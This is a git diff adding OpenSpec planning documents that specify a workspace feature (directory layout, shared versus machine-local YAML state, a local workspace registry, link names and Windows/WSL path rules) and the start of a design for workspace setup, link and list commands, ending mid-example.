a/openspec/changes/archive/2026-04-23-add-kimi-cli-skills-only-support/tasks.md b/openspec/changes/archive/2026-04-23-add-kimi-cli-skills-only-support/tasks.md new file mode 100644 index 0000000000..10a71dfb20 --- /dev/null +++ b/openspec/changes/archive/2026-04-23-add-kimi-cli-skills-only-support/tasks.md @@ -0,0 +1,22 @@ +## 1. Change Artifacts + +- [x] 1.1 Write proposal, design, and spec deltas for Kimi CLI skills-only support + +## 2. Tool Metadata + +- [x] 2.1 Add `Kimi CLI` to `src/core/config.ts` with `value: 'kimi'` and `skillsDir: '.kimi'` + +## 3. Documentation + +- [x] 3.1 Update `docs/supported-tools.md` with a Kimi CLI row that clearly states there is no command adapter +- [x] 3.2 Update `docs/commands.md` to document Kimi CLI usage via `/skill:openspec-*` +- [x] 3.3 Update `docs/cli.md` so the supported `--tools` list includes `kimi` + +## 4. Tests + +- [x] 4.1 Add a targeted init regression test for `--tools kimi` under adapterless command generation + +## 5. Validation + +- [x] 5.1 Validate the change artifacts with `openspec validate` +- [x] 5.2 Run targeted tests and fix any regressions diff --git a/openspec/changes/archive/2026-05-04-workspace-foundation/design.md b/openspec/changes/archive/2026-05-04-workspace-foundation/design.md new file mode 100644 index 0000000000..be148e8f20 --- /dev/null +++ b/openspec/changes/archive/2026-05-04-workspace-foundation/design.md @@ -0,0 +1,208 @@ +## Product Model + +An OpenSpec workspace is the durable planning home for work that spans multiple repos or folders. + +It should feel like this: + +```text +workspace = where related changes live +link = a named repo or folder the workspace can plan against +change = one feature, fix, project, or other planned piece of work +``` + +The foundation intentionally avoids the rest of the workflow. It only defines how OpenSpec recognizes a workspace, where managed workspaces live, how linked paths are represented, and how shared state differs from local state. + +A workspace is not a feature. It can hold many changes over time. The linked repos or folders provide planning context, while the code stays where it is. + +## Workspace Shape + +OpenSpec workspaces use this shape: + +```text +workspace-root/ + changes/ # workspace-level proposals, tasks, specs + .openspec-workspace/ + workspace.yaml # shared workspace information + local.yaml # this machine's paths and preferences +``` + +The user-facing planning surface is `changes/`. The identity file that makes the directory a workspace is `.openspec-workspace/workspace.yaml`. + +Repo-local projects keep the existing shape: + +```text +repo-root/ + openspec/ + specs/ + changes/ +``` + +That distinction lets a user or agent tell which surface they are working in: + +```text +coordination workspace -> shared cross-repo planning +repo-local project -> repo-owned specs and implementation planning +``` + +Users should not run repo-local `openspec init` inside the workspace root. A workspace is already an OpenSpec coordination surface; it is not a product repo adopting repo-local OpenSpec. + +## Workspace Names + +A workspace name is a simple folder-style identifier, not a display name. + +The name must be usable as a folder name in the current runtime. It must not be empty, must not be `.` or `..`, and must not contain path separators. + +OpenSpec should not maintain a cross-platform reserved-name list in this slice. Setup/create flows should let filesystem creation surface OS-specific invalid folder names, then report that failure clearly. + +The same workspace name is stored in `.openspec-workspace/workspace.yaml`, used as the default managed workspace folder name, and used as the local registry name. + +## Shared And Local State + +Workspace state follows a simple sharing rule: + +```text +share stable link names and planning +keep local checkout paths local +``` + +Expected shared state: + +```yaml +version: 1 +name: platform +links: + api: {} + web: {} +``` + +Expected local state: + +```yaml +version: 1 +paths: + api: /repos/api + web: /repos/web +``` + +Later slices can expand these shapes, but the product rule should stay stable: a shared workspace should not commit one user's absolute checkout paths. + +OpenSpec-created workspaces should include an ignore rule for `.openspec-workspace/local.yaml` so local checkout paths are not accidentally shared. `.openspec-workspace/workspace.yaml` remains the portable workspace identity and link-name state. + +## Workspace Location + +OpenSpec should create managed workspaces in one standard place: + +```text +getGlobalDataDir()/workspaces +``` + +That reuses existing OpenSpec data-directory behavior: + +- `$XDG_DATA_HOME/openspec/workspaces` when `XDG_DATA_HOME` is set +- `~/.local/share/openspec/workspaces` on Unix/macOS fallback +- `%LOCALAPPDATA%\openspec\workspaces` on native Windows fallback + +This slice intentionally does not define a workspace-specific environment-variable, command, or configuration override for managed workspace storage. Tests should rely on existing global data-directory controls and test helpers instead of a separate workspace-home override. + +This is deliberately quiet. The product should not ask most users where workspaces should live. + +OpenSpec should show the resolved workspace path after setup. Quiet defaults should avoid a prompt, not hide where planning files were created. + +## Local Workspace Registry + +OpenSpec should keep a lightweight local registry of known workspaces: + +```text +getGlobalDataDir()/workspaces/registry.yaml +``` + +Expected registry state: + +```yaml +version: 1 +workspaces: + platform: /Users/tabish/.local/share/openspec/workspaces/platform + checkout: /Users/tabish/.local/share/openspec/workspaces/checkout +``` + +The registry is a local index, not the source of truth. It exists so workspace commands can work from anywhere, show a picker when multiple workspaces exist, and list known workspaces without scanning arbitrary folders. + +Each workspace folder remains authoritative for its own `.openspec-workspace/workspace.yaml` and `.openspec-workspace/local.yaml`. If a registry entry points at a missing or invalid workspace, later check/list flows can report that and suggest a repair. + +## Windows And WSL2 + +Path behavior is runtime-local: + +- PowerShell/native Windows uses Windows paths and Windows data-directory fallback. +- WSL2 uses Linux paths and Linux/XDG fallback inside WSL. +- Local repo paths are stored as the user supplied them for the current runtime. + +Examples: + +```text +PowerShell: + default base -> %LOCALAPPDATA%\openspec\workspaces + +WSL2: + default base -> ~/.local/share/openspec/workspaces +``` + +This slice should not translate between `D:\repo`, `/mnt/d/repo`, and `\\wsl$` paths. Cross-runtime translation can be reconsidered later if an agent-launch workflow requires it. + +## Link Names + +A link name is the stable way to refer to a repo or folder inside workspace planning. + +The local path can vary by machine: + +```text +shared link name: landing +Tabish path: /Users/tabish/repos/landing +Windows path: D:\repos\landing +WSL2 path: /mnt/d/repos/landing +``` + +Later workflows should refer to `landing` in workspace planning, status, and apply context. The local path is only how the current machine finds that repo or folder. + +Link names are intentionally minimal: they must be non-empty, must not be `.` or `..`, must not contain path separators, and must be unique within the workspace. + +The owning repo or folder remains the home of canonical specs and implementation work. The workspace makes the cross-boundary plan legible; it does not take ownership away from the linked repos or folders. + +Link names are normally inferred from the folder basename in guided flows. Direct flows can allow an explicit name when the default would conflict or be unclear. + +## Linked Repos And Folders + +Workspace planning visibility should not require repo-local OpenSpec state. + +That matters for two common cases: + +- a repo has not adopted OpenSpec yet, but still needs to be considered in planning +- a large monorepo has folders such as packages, services, or apps that should be planned like separate areas, without each folder having its own `openspec/` + +Foundation should allow the link model to describe both: + +```text +multi-repo: + api -> /repos/api + web -> /repos/web + +large monorepo: + billing -> /repos/platform/services/billing + checkout -> /repos/platform/apps/checkout +``` + +Later apply/verify/archive workflows can decide what extra readiness is needed for implementation. Planning should be able to start before that. + +Linking only records the relationship between a workspace link name and a local path. It must not create, copy, move, initialize, or edit files inside the linked repo or folder. + +Repo-local spec availability is computed when needed. For example, `repo_specs_path` can be reported by a later doctor command when a linked path contains `openspec/specs`, but that path should not be treated as required workspace state. + +## Later Slices + +This foundation stops before user-facing workspace workflows: + +- `workspace-create-and-register-repos` owns setup, link, relink, list, and doctor behavior. +- `workspace-open-agent-context` owns agent launch context. +- `workspace-change-planning` owns workspace proposals and repo scope. +- `workspace-apply-repo-slice` owns implementation of one repo slice. +- `workspace-verify-and-archive` owns completion and archive behavior. diff --git a/openspec/changes/archive/2026-05-04-workspace-foundation/proposal.md b/openspec/changes/archive/2026-05-04-workspace-foundation/proposal.md new file mode 100644 index 0000000000..ba788656e5 --- /dev/null +++ b/openspec/changes/archive/2026-05-04-workspace-foundation/proposal.md @@ -0,0 +1,142 @@ +## Why + +Users need a workspace to feel like the obvious home for planning across multiple repos or folders. + +They should be able to think: + +```text +I have repos or folders that are often planned together. +I create an OpenSpec workspace. +That workspace is where changes live. +My code stays where it is. +OpenSpec links the workspace to those local paths. +``` + +A workspace is not a feature. It is the durable planning home. Individual features, fixes, and projects are changes inside the workspace. + +Users should not have to choose a storage location, create a change early, or understand internal workspace state before OpenSpec can orient itself. + +The POC proved that workspace state is useful. This reimplementation should turn that into a simple product model that users and agents can explain without special-case vocabulary. + +## What Changes + +This change defines the user-facing foundation for OpenSpec workspaces. + +An OpenSpec workspace has a recognizable planning home: + +```text +workspace-root/ + changes/ + .openspec-workspace/ +``` + +`changes/` is where workspace-level planning lives. `.openspec-workspace/` identifies the directory as an OpenSpec workspace and stores workspace state. + +OpenSpec-managed workspaces live in one standard location: + +```text +/workspaces/ +``` + +Users should not need to choose that location. OpenSpec still shows the workspace path after setup so users know where planning files live. This foundation slice does not provide a workspace-specific environment-variable or configuration override for managed workspace storage. + +OpenSpec also keeps a lightweight local registry of known workspaces on the current machine. The registry powers global commands, pickers, and listing, but each workspace folder remains the source of truth. + +Workspace state is split by user expectation: + +- shared workspace information can move between machines +- local checkout paths stay local to each machine +- linked repos and folders are referred to by stable link names, not by absolute paths + +A linked path can be a full repo, a folder inside a monorepo, or another existing folder the workspace should plan against. A linked path does not need repo-local `openspec/` state before it can be included in workspace planning. Repo-local OpenSpec state may still matter later for implementation, verification, or archive workflows, but it is not a prerequisite for planning visibility. + +Native Windows/PowerShell and WSL2 are both supported. Each runtime uses its own path conventions. OpenSpec does not translate paths between Windows and WSL in this foundation slice. + +## Outcome + +After this change, later workspace features can rely on one clear product contract: + +- OpenSpec can tell when the user is inside a workspace. +- OpenSpec knows where to create managed workspaces by default. +- OpenSpec can keep a local registry of known workspaces. +- A workspace has one visible planning area: `changes/`. +- Workspace state is distinguishable from repo-local `openspec/` state. +- Shared workspace state does not force one user's local paths onto another user. +- Workspace planning can reference existing repos or folders by stable link names. +- Linked repos or folders do not need repo-local OpenSpec state for workspace planning. +- Multi-repo and large-monorepo work can use the same workspace planning model. +- Repo-owned specs and implementation remain owned by their repos or source areas. +- Windows, PowerShell, and WSL2 path behavior is predictable. + +This change does not deliver the full workspace workflow. It gives `workspace-create-and-register-repos` the foundation it needs to add the first user-facing commands. + +## POC Findings + +Behavior to preserve: + +- A workspace is a durable coordination home for cross-repo planning. +- The workspace has a visible `changes/` directory at its root. +- Linked repos and folders provide the context the workspace can plan against. +- Stable link names matter more than local checkout paths. +- Local machine paths should not become shared workspace state. +- Canonical specs and implementation still belong to the owning repos. + +Lessons to carry forward: + +- The POC's hidden `.openspec/` workspace metadata shape made workspace state too easy to confuse with repo-local OpenSpec state. +- Users should not need to run repo-local `openspec init` inside the workspace root. +- The POC's requirement that registered repos already have `openspec/` is too strict for planning. Repos and folders should be linkable before they adopt repo-local OpenSpec state. +- Repo or folder visibility should not depend on creating a change. +- Workspace setup should not imply repo-local implementation, branch, worktree, apply, verify, or archive behavior. +- `add-repo` is too narrow for the user-facing model. Linking an existing repo or folder is clearer. + +## Decisions + +- Workspace identity directory: `.openspec-workspace/`. +- Workspace identity file: `.openspec-workspace/workspace.yaml`. +- Workspace name: a valid folder name for the current OS, excluding empty names, `.`/`..`, and path separators. +- Workspace name usage: stored in `workspace.yaml`, used as the default managed workspace folder name, and used as the local registry name. +- Planning surface: top-level `changes/`. +- Local machine state: `.openspec-workspace/local.yaml`. +- Local machine state exclusion: OpenSpec-created workspaces exclude `.openspec-workspace/local.yaml` from portable collaboration state by default. +- Local workspace registry: `/workspaces/registry.yaml`. +- Default workspace base: `/workspaces/`. +- Platform behavior: native Windows and WSL2 each use the path conventions of the runtime running OpenSpec. +- Linked paths may be full repos, monorepo folders, or other existing folders. +- Link names: non-empty stable names, unique within a workspace, excluding `.`/`..` and path separators. +- Repo-local `openspec/` state is not required for workspace planning visibility. +- Linking records the relationship only; it does not create, copy, move, initialize, or edit files in the linked repo or folder. + +Planning dependency: + +- None. This is the first implementation slice. + +## Non-Goals + +- No complete `openspec workspace setup`, `openspec workspace link`, or `openspec workspace relink` flow yet. +- No public `openspec workspace create` command in the first user-facing workspace flow. +- No user-facing command, environment variable, or configuration setting for changing the standard workspace location. +- No question that asks users where OpenSpec should store workspaces by default. +- No automatic Windows-to-WSL or WSL-to-Windows path translation. +- No workspace-open agent launch behavior. +- No workspace-level proposal creation. +- No repo-slice apply, verify, archive, branch, or worktree behavior. +- No copying workspace planning files into linked repos or folders as a side effect of creating, detecting, or linking a workspace. + +## Capabilities + +### New Capabilities + +- `workspace-foundation`: Defines the product foundation for OpenSpec workspaces. + +### Modified Capabilities + +- `openspec-conventions`: Describes how coordination workspaces differ from repo-local OpenSpec projects. + +## Impact + +- Workspace recognition and path behavior. +- Workspace state parsing. +- Local workspace registry parsing. +- Documentation and agent guidance for the workspace mental model. +- Later workspace slices should build on this contract instead of redefining workspace storage, identity, registry, or path behavior. diff --git a/openspec/changes/archive/2026-05-04-workspace-foundation/specs/openspec-conventions/spec.md b/openspec/changes/archive/2026-05-04-workspace-foundation/specs/openspec-conventions/spec.md new file mode 100644 index 0000000000..2662fdc24c --- /dev/null +++ b/openspec/changes/archive/2026-05-04-workspace-foundation/specs/openspec-conventions/spec.md @@ -0,0 +1,29 @@ +## ADDED Requirements + +### Requirement: Workspace Product Language +OpenSpec conventions SHALL describe coordination workspaces in user-facing product terms. + +#### Scenario: Describing workspace structure +- **WHEN** OpenSpec documentation describes workspace support +- **THEN** it SHALL present a workspace as the planning home for work across linked repos or folders +- **AND** it SHALL describe `changes/` as the workspace planning area + +#### Scenario: Avoiding internal workspace vocabulary +- **WHEN** OpenSpec documentation explains what a workspace includes +- **THEN** it SHALL prefer plain product language such as "repos or folders" +- **AND** it SHALL avoid user-facing reliance on terms such as "working set", "code area", "entry", "alias", or "local overlay" + +#### Scenario: Distinguishing workspaces from changes +- **WHEN** OpenSpec documentation explains workspace planning +- **THEN** it SHALL describe a workspace as a durable planning home +- **AND** it SHALL describe individual features, fixes, and projects as changes inside the workspace + +#### Scenario: Distinguishing workspace and repo-local surfaces +- **WHEN** OpenSpec documentation compares workspace and repo-local flows +- **THEN** it SHALL explain that workspace planning lives in the workspace root +- **AND** it SHALL explain that repo-local specs and changes continue to live under each repo's `openspec/` directory + +#### Scenario: Sequencing the workspace roadmap +- **WHEN** workspace reimplementation work is split across multiple active changes +- **THEN** conventions SHALL allow those changes to remain flat siblings under `openspec/changes/` +- **AND** dependency order MAY be documented in proposal prose until formal change stacking metadata is available diff --git a/openspec/changes/archive/2026-05-04-workspace-foundation/specs/workspace-foundation/spec.md b/openspec/changes/archive/2026-05-04-workspace-foundation/specs/workspace-foundation/spec.md new file mode 100644 index 0000000000..2a1373ce36 --- /dev/null +++ b/openspec/changes/archive/2026-05-04-workspace-foundation/specs/workspace-foundation/spec.md @@ -0,0 +1,199 @@ +## ADDED Requirements + +### Requirement: Recognizable Workspace Home +OpenSpec SHALL give users and agents a recognizable workspace home for cross-repo planning. + +#### Scenario: Planning across linked repos or folders +- **WHEN** a user creates an OpenSpec workspace for repos or folders they plan across +- **THEN** the workspace SHALL provide a durable planning home +- **AND** the workspace SHALL be able to hold multiple changes over time + +#### Scenario: Working from inside a workspace +- **GIVEN** a user runs OpenSpec from a workspace root or one of its subdirectories +- **WHEN** OpenSpec resolves the current workspace +- **THEN** it SHALL identify the workspace root +- **AND** it SHALL use the workspace root's `changes/` directory as the workspace planning area + +#### Scenario: Avoiding accidental workspace mode +- **GIVEN** a directory has `changes/` but is not an OpenSpec workspace +- **WHEN** OpenSpec resolves the current workspace +- **THEN** it SHALL avoid treating that directory as a workspace +- **AND** it SHALL enter workspace mode only when the workspace identity file is present + +### Requirement: Stable Workspace Name +OpenSpec SHALL use one folder-style workspace name across workspace identity, managed storage, and the local registry. + +#### Scenario: Using one workspace name +- **WHEN** OpenSpec creates or registers a managed workspace +- **THEN** the workspace name SHALL be stored in `.openspec-workspace/workspace.yaml` +- **AND** the same name SHALL be used as the default managed workspace folder name +- **AND** the same name SHALL be used as the local registry name + +#### Scenario: Rejecting invalid folder-style names +- **WHEN** OpenSpec accepts a workspace name +- **THEN** it SHALL reject empty names, `.` or `..`, and names containing path separators +- **AND** setup or create flows SHALL report OS-level folder creation failures clearly + +### Requirement: Dedicated Workspace Identity +OpenSpec SHALL distinguish a coordination workspace from a repo-local OpenSpec project. + +#### Scenario: Reading workspace identity +- **WHEN** OpenSpec reads or writes workspace identity and workspace state +- **THEN** it SHALL use `.openspec-workspace/` + +#### Scenario: Preserving repo-local OpenSpec projects +- **GIVEN** a repo-local OpenSpec project uses `openspec/` +- **WHEN** that repo is linked to a workspace +- **THEN** OpenSpec SHALL continue treating `openspec/` as that repo's local OpenSpec directory +- **AND** workspace planning SHALL remain anchored in the workspace root + +#### Scenario: Avoiding repo-local initialization in the workspace root +- **WHEN** a user is working from an OpenSpec workspace root +- **THEN** OpenSpec SHALL treat that root as a workspace coordination surface +- **AND** users SHALL not need to initialize a repo-local `openspec/` project inside the workspace root + +### Requirement: Safe Workspace Sharing +OpenSpec SHALL keep shared workspace information separate from local machine paths. + +#### Scenario: Sharing workspace planning +- **WHEN** a workspace is shared with another user or machine +- **THEN** shared workspace information SHALL include portable workspace identity and stable link names +- **AND** it SHALL not require another user to reuse the original user's absolute checkout paths + +#### Scenario: Keeping checkout paths local +- **WHEN** OpenSpec stores local paths for a workspace +- **THEN** those paths SHALL be treated as local to the current machine and runtime +- **AND** another machine MAY map the same link names to different local paths + +#### Scenario: Preserving runtime-local paths +- **WHEN** OpenSpec reads or writes local workspace paths +- **THEN** it SHALL preserve path strings valid for the current runtime +- **AND** it SHALL support native Windows paths and WSL2/Linux paths as local state values + +#### Scenario: Excluding local state from portable collaboration +- **WHEN** OpenSpec creates a workspace +- **THEN** it SHALL exclude `.openspec-workspace/local.yaml` from portable collaboration state by default +- **AND** `.openspec-workspace/workspace.yaml` SHALL remain the portable workspace identity and link-name state + +### Requirement: Standard Workspace Location +OpenSpec SHALL use a standard location for OpenSpec-managed workspaces without asking most users to choose one. + +#### Scenario: Using the standard workspace location +- **WHEN** OpenSpec needs the location for OpenSpec-managed workspaces +- **THEN** it SHALL use `/workspaces` +- **AND** `` SHALL follow existing OpenSpec XDG and platform data directory behavior + +#### Scenario: Avoiding workspace-specific storage overrides +- **WHEN** OpenSpec resolves the location for OpenSpec-managed workspaces +- **THEN** it SHALL not use a workspace-specific environment variable, command, or configuration setting in this slice +- **AND** managed workspace storage SHALL remain under `/workspaces` + +#### Scenario: Running from native Windows +- **WHEN** OpenSpec runs from native Windows shells such as PowerShell +- **AND** `XDG_DATA_HOME` is not set +- **THEN** OpenSpec SHALL store managed workspaces under the Windows global data location +- **AND** paths SHALL follow native Windows path behavior + +#### Scenario: Running from WSL2 +- **WHEN** OpenSpec runs from WSL2 +- **THEN** OpenSpec SHALL store managed workspaces under the Linux/XDG data location inside WSL +- **AND** paths SHALL follow Linux path behavior inside WSL + +#### Scenario: Using the workspace location automatically +- **WHEN** OpenSpec creates or resolves OpenSpec-managed workspaces in later workflows +- **THEN** it SHALL use the resolved workspace location by default +- **AND** users SHALL be able to follow the normal workspace flow without choosing a storage location + +#### Scenario: Showing the workspace path +- **WHEN** OpenSpec creates a workspace in the standard workspace location +- **THEN** it SHALL report the workspace path to the user +- **AND** it SHALL not hide where planning files were created + +#### Scenario: Staying in the current runtime +- **WHEN** OpenSpec resolves workspace paths or local repo paths +- **THEN** it SHALL interpret paths for the runtime running OpenSpec +- **AND** Windows, UNC WSL, and WSL mount paths SHALL remain explicit user-provided paths + +### Requirement: Local Workspace Registry +OpenSpec SHALL keep a lightweight local registry of known workspaces on the current machine. + +#### Scenario: Recording known workspaces +- **WHEN** OpenSpec creates or learns about a managed workspace +- **THEN** it SHALL be able to record the workspace name and path in a local registry +- **AND** the registry SHALL be machine-local state + +#### Scenario: Keeping workspace folders authoritative +- **WHEN** OpenSpec reads workspace details +- **THEN** each workspace folder's `.openspec-workspace/workspace.yaml` SHALL remain the source of truth for that workspace +- **AND** the local registry SHALL act only as an index of known workspace paths + +#### Scenario: Finding workspaces from anywhere +- **WHEN** a later workspace command runs outside a workspace directory +- **THEN** OpenSpec MAY use the local registry to find known workspaces +- **AND** commands that need one workspace MAY use the registry to support an interactive picker + +### Requirement: Stable Link Names +OpenSpec SHALL use stable link names to refer to repos and folders in workspace planning. + +#### Scenario: Referring to a repo or folder in workspace planning +- **WHEN** workspace state or later workspace planning artifacts refer to a linked repo or folder +- **THEN** they SHALL use the stable link name +- **AND** the same link name SHALL remain valid even when local checkout paths differ + +#### Scenario: Reusing link names across machines +- **WHEN** a workspace is used on another machine +- **THEN** link names SHALL remain stable +- **AND** local checkout paths MAY differ on that machine + +#### Scenario: Rejecting invalid link names +- **WHEN** OpenSpec accepts a workspace link name +- **THEN** it SHALL reject empty names, `.` or `..`, and names containing path separators +- **AND** link names SHALL be unique within the workspace + +### Requirement: Linked Repos And Folders +OpenSpec SHALL allow workspace planning to include linked repos and folders before they have repo-local OpenSpec state. + +#### Scenario: Planning with a repo that has not adopted OpenSpec +- **WHEN** a workspace links a repo path that does not yet contain repo-local `openspec/` +- **THEN** the repo SHALL still be available for workspace-level planning +- **AND** implementation readiness MAY be handled by a later workflow + +#### Scenario: Planning across monorepo folders +- **WHEN** planning spans multiple packages, services, apps, or directories inside one monorepo +- **THEN** the workspace SHALL be able to link those folders separately +- **AND** each folder SHALL not need its own repo-local `openspec/` directory to participate in workspace planning + +#### Scenario: Treating repos and folders consistently +- **WHEN** a workspace plan includes both separate repos and folders inside a monorepo +- **THEN** OpenSpec SHALL use the same planning model for both +- **AND** users SHALL not need to create different kinds of workspace plans for multi-repo and monorepo changes + +#### Scenario: Recording links without changing targets +- **WHEN** OpenSpec records a link between a workspace and a local repo or folder +- **THEN** it SHALL store the link in workspace state +- **AND** it SHALL not create, copy, move, initialize, or edit files inside the linked repo or folder + +### Requirement: Planning Before Implementation +OpenSpec SHALL treat workspace creation and detection as planning setup, not implementation. + +#### Scenario: Creating or detecting a workspace +- **WHEN** a workspace exists +- **THEN** OpenSpec SHALL treat it as a place for workspace-level planning +- **AND** repo implementation files SHALL remain unchanged until an explicit implementation workflow runs + +#### Scenario: Deferring repo implementation +- **WHEN** repo-local implementation, apply, verify, or archive behavior is needed +- **THEN** that behavior SHALL require an explicit later workspace workflow + +### Requirement: Repo Ownership Boundaries +OpenSpec SHALL keep repo ownership legible when planning happens in a workspace. + +#### Scenario: Planning across owned repos +- **WHEN** a workspace plan refers to behavior owned by a repo or source area +- **THEN** that owner SHALL remain the home for canonical specs and implementation work +- **AND** the workspace SHALL make the cross-boundary plan visible without taking ownership away from that owner + +#### Scenario: Drafting before ownership is clear +- **WHEN** cross-repo behavior is still being explored and ownership is not clear +- **THEN** the workspace MAY hold planning notes or draft behavior +- **AND** those drafts SHALL remain distinguishable from canonical repo-owned specs diff --git a/openspec/changes/archive/2026-05-04-workspace-foundation/tasks.md b/openspec/changes/archive/2026-05-04-workspace-foundation/tasks.md new file mode 100644 index 0000000000..551289431b --- /dev/null +++ b/openspec/changes/archive/2026-05-04-workspace-foundation/tasks.md @@ -0,0 +1,56 @@ +## 1. POC Findings And Model Decisions + +- [x] 1.1 Capture the foundation POC findings in the proposal/design artifacts +- [x] 1.2 Settle `.openspec-workspace/` as the workspace metadata directory +- [x] 1.3 Define the minimal workspace root shape and root marker +- [x] 1.4 Define committed workspace state versus machine-local workspace state +- [x] 1.5 Capture that workspace setup is useful only after at least one repo or folder is linked +- [x] 1.6 Capture that repo-owned specs and implementation remain owned by repos +- [x] 1.7 Capture that planning can include repos or monorepo folders without repo-local OpenSpec state +- [x] 1.8 Capture that workspaces hold many changes and are not feature containers +- [x] 1.9 Capture `link`/`relink` as the user-facing model instead of `add-repo`/`update-repo` + +## 2. Foundation Helpers + +- [x] 2.1 Add workspace path constants and helpers for `.openspec-workspace/`, `workspace.yaml`, `local.yaml`, and root `changes/` +- [x] 2.2 Add workspace root detection from an arbitrary starting directory +- [x] 2.3 Add typed parsing and validation for minimal shared workspace state +- [x] 2.4 Add typed parsing and validation for minimal machine-local workspace state +- [x] 2.5 Ensure repo-local `openspec/` projects are not mistaken for coordination workspaces +- [x] 2.6 Add a standard workspace location resolver using `getGlobalDataDir()/workspaces` +- [x] 2.7 Ensure workspace path helpers use platform path APIs and avoid hardcoded POSIX separators +- [x] 2.8 Add local workspace registry path constants and helpers + +## 3. Metadata And Local State + +- [x] 3.1 Define the versioned shared-state shape with workspace name and stable link map +- [x] 3.2 Define the versioned local-state shape with stable link names mapped to local paths +- [x] 3.3 Ensure local-state files are treated as machine-local and OpenSpec-created workspaces exclude `.openspec-workspace/local.yaml` from portable collaboration state +- [x] 3.4 Add validation for invalid versions, invalid link names, malformed link maps, and malformed local path maps +- [x] 3.5 Preserve native Windows and WSL2 path strings when reading and writing local path state +- [x] 3.6 Define the versioned local registry shape with workspace names mapped to workspace roots +- [x] 3.7 Ensure the local registry is treated as a convenience index, not the workspace source of truth + +## 4. Documentation And Guidance + +- [x] 4.1 Document the coordination workspace mental model +- [x] 4.2 Document how `.openspec-workspace/` differs from repo-local `openspec/` +- [x] 4.3 Document stable link names as the way to refer to linked repos and folders +- [x] 4.4 Document which behavior is intentionally deferred to later workspace slices +- [x] 4.5 Document native Windows/PowerShell and WSL2 path behavior for managed workspace storage +- [x] 4.6 Document linked repos/folders without repo-local OpenSpec and large-monorepo planning behavior +- [x] 4.7 Document the local workspace registry and global command model + +## 5. Verification + +- [x] 5.1 Add unit tests for root detection and non-detection cases +- [x] 5.2 Add unit tests for shared-state and local-state parsing +- [x] 5.3 Add unit tests for standard workspace location resolution with XDG/Linux fallback and native Windows fallback +- [x] 5.4 Add unit tests that local-state parsing preserves native Windows and WSL2-style paths +- [x] 5.5 Add unit tests for repo-local compatibility boundaries +- [x] 5.6 Add tests or docs coverage that linked repos/folders do not require repo-local `openspec/` +- [x] 5.7 Add tests or docs coverage for monorepo folder links under the same workspace model +- [x] 5.8 Add tests for local registry parsing and stale registry entries +- [x] 5.9 Add tests or docs coverage for `.openspec-workspace/local.yaml` exclusion in OpenSpec-created workspaces +- [x] 5.10 Run `openspec validate workspace-foundation --strict` +- [x] 5.11 Run targeted test coverage for the new workspace foundation helpers diff --git a/openspec/changes/archive/2026-05-06-workspace-create-and-register-repos/design.md b/openspec/changes/archive/2026-05-06-workspace-create-and-register-repos/design.md new file mode 100644 index 0000000000..a1a4ae15c9 --- /dev/null +++ b/openspec/changes/archive/2026-05-06-workspace-create-and-register-repos/design.md @@ -0,0 +1,356 @@ +## Product Shape + +This slice is the first user-facing step after `workspace-foundation`. + +The user experience should be: + +```text +I set up a workspace. +I link the repos or folders it should know about. +I can list my workspaces later. +I can ask OpenSpec what is broken and how to fix it. +``` + +No change proposal is required yet. + +## Links + +A workspace link is a stable name plus a local path on the current machine. + +Examples: + +```text +api -> /repos/api +web -> /repos/web +checkout -> /repos/platform/apps/checkout +billing -> /repos/platform/services/billing +``` + +The path may point at a full repo or a folder inside a large monorepo. It may point at a repo or folder that has not adopted repo-local OpenSpec yet. + +The product language should say "repos or folders". It should avoid "working set", "code area", "entry", "alias", and "local overlay" in user-facing output. + +Path handling should behave like a folder picker. The user may type a relative or absolute path, but OpenSpec should verify that it points to an existing folder, convert it to an absolute path relative to the command's current working directory when needed, and store that verified absolute path in local workspace state. OpenSpec should not store the raw string the user typed. + +Path conversion stays in the current runtime. Native Windows paths, WSL2 paths, and Unix paths should not be translated across runtimes. Where duplicate-path detection needs canonical comparisons, OpenSpec may compare canonical existing paths internally, but it should store and display the verified absolute path for the current runtime. + +## Names + +Workspace names should be kebab-case: + +```text +platform +checkout-web +api2 +``` + +Invalid workspace names include uppercase letters, underscores, dots, spaces, leading hyphens, trailing hyphens, empty names, dot names, and path separators. Interactive setup should explain the expected form and let the user retry. Non-interactive setup should fail with the same expectation in the error message. + +Link names should keep the folder-style validation from `workspace-foundation`: they must not be empty, must not be `.` or `..`, must not contain path separators, and must be unique inside the workspace. This lets inferred link names match existing folder basenames without forcing users to rename local folders for workspace planning. + +Link names are normally inferred from the folder basename: + +```text +/repos/api -> api +/repos/platform/apps/checkout -> checkout +``` + +If the inferred name conflicts, interactive setup should show the conflicting name and the existing path it maps to, then ask for a different name. Non-interactive setup and direct `workspace link` should fail with a clear message instead of silently overwriting. + +Duplicate-name errors should be specific: + +```text +Cannot use link name 'api' because another link already uses that name. +Existing link: + api -> /repos/api + +Choose a different name: + openspec workspace link archived-api /archive/api + +If you meant to change the existing link path: + openspec workspace relink api /archive/api +``` + +This slice does not add a separate link-rename command. Renaming a link can be considered later if users need it, but v1 should keep the command model crisp: `link` adds a new link, and `relink` changes the local path for an existing link. + +## Commands + +### `workspace setup` + +Guided onboarding: + +- create a workspace in the standard workspace location +- ask for a workspace name +- require at least one existing repo or folder path +- infer link names from folder names +- let the user add more repos or folders with a simple repeated prompt +- record the workspace in the local workspace registry +- run `workspace doctor` +- print the workspace location, planning path, linked repos or folders, and next useful commands + +This slice should not ask for preferred agent or open the workspace with an agent. Those belong to `workspace-open-agent-context`. + +Setup should support a non-interactive mode for automation: + +```bash +openspec workspace setup --no-interactive --name platform --link /path/to/api --link web=/path/to/web +``` + +In non-interactive mode, setup should fail cleanly unless the user provides a valid workspace name and at least one valid link. `--link` should accept either a path, which infers the name from the folder basename, or `name=path`. + +There is no public `workspace create` command in this slice. Setup is the creation flow. + +### `workspace list` + +Show known OpenSpec-managed workspaces from the local workspace registry. + +`workspace ls` should behave the same way. + +The output should answer what exists and what each workspace links to: + +```yaml +workspaces: + - name: platform + location: /.../openspec/workspaces/platform + links: + - name: api + path: /repos/api + - name: web + path: /repos/web + - name: checkout + location: /.../openspec/workspaces/checkout + links: + - name: app + path: /repos/platform/apps/checkout +``` + +List should keep deep validation for `workspace doctor`. It can still report obviously stale workspace registry entries if a known workspace location no longer exists. Stale registry entries are report-only in this slice: `workspace list` should not delete, rewrite, or repair registry entries, and this slice should not add a `workspace forget` command. + +For JSON output, list should use typed workspace objects with a structured `status` array for issues: + +```json +{ + "workspaces": [ + { + "name": "platform", + "root": "/.../openspec/workspaces/platform", + "links": [ + { + "name": "api", + "path": "/repos/api", + "status": [] + } + ], + "status": [] + }, + { + "name": "old-platform", + "root": "/.../openspec/workspaces/old-platform", + "links": [], + "status": [ + { + "severity": "error", + "code": 